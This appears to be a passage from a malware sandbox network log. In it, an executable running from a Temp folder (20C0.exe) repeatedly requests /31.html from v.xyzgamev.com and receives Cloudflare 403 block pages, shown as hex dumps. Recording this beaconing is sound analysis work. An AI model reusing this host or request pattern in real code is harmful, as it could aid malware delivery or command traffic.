2022-08-31 12:29:09 UTC	4819	IN	Data Raw: 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 Data Ascii: ss" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.c
2022-08-31 12:29:09 UTC	4821	IN	Data Raw: 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 Data Ascii: ss="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from
2022-08-31 12:29:09 UTC	4822	IN	Data Raw: 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hi
2022-08-31 12:29:09 UTC	4823	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	45286	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:09 UTC	4823	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:09 UTC	4823	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:24 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HD%2BvsvcZFavBWNQPnRF6BR7reaNmB8docb9JcYD7gVP6%2BtLpeAoNFuON0SZK3k8He7DZioKVRBZPzs%2BHdsMMpdpv93IhjENv%2FTjQU7h6DT3Kb2QyhOGBvM04yUD4MhZT%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c52848408fee-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:09 UTC	4824	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:09 UTC	4825	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f Data Ascii: " href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.coo
2022-08-31 12:29:09 UTC	4826	IN	Data Raw: 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e Data Ascii: ="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from on
2022-08-31 12:29:09 UTC	4827	IN	Data Raw: 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: :block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidd
2022-08-31 12:29:09 UTC	4828	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49769	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:10 UTC	4828	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:10 UTC	4829	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:25 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Z54Ces26DgXBJdHaHNw2tc1vmjw2O%2B3p%2BPa7B35J9RwEtRNIaLfjngD9zIfYu1Z07I4txSVI%2BHZp03OqF9MC4wNcy48V3wTen%2Ftn3KtBG74j6onF0XbeZjOyltLXwM3vhw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c52bcef3718d-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:10 UTC	4829	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:10 UTC	4830	IN	Data Raw: 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 Data Ascii: href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cooki
2022-08-31 12:29:10 UTC	4831	IN	Data Raw: 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 Data Ascii: cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from onli
2022-08-31 12:29:10 UTC	4833	IN	Data Raw: 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: lock sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden
2022-08-31 12:29:10 UTC	4834	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49770	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:10 UTC	4834	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:10 UTC	4834	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:25 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fmADXjXNVBdqOeU8L%2FkM%2FKQErS1me9F1Wf5fD6WWO3yHMwz2GWoP7oGh9WXhVGvQxR5ca4CQ%2BUHkygGrmy7XhmNjXOnFLSZ2nTc3f67TSQcVe1b8%2BBWVJXINRS3ZSYN%2BRw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c52d3b6b9274-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:10 UTC	4834	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:10 UTC	4835	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f Data Ascii: " href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.coo
2022-08-31 12:29:10 UTC	4836	IN	Data Raw: 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e Data Ascii: ="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from on
2022-08-31 12:29:10 UTC	4838	IN	Data Raw: 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: :block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidd
2022-08-31 12:29:10 UTC	4839	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49771	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:10 UTC	4839	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:10 UTC	4839	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:25 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BNQiOHMFfZDRbcQtNU3iudRzQ4%2BQ21jHjvE45wAnHA3pEcGKJJWL5cQVCodE5JQu6YXgtmF7TZo07kljciPGPFAUsixHai%2BThpDVt%2B6G2l9Cic%2Bx%2Bu11t67hn73Nj%2BXqYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c52edcfdbb91-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:10 UTC	4840	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
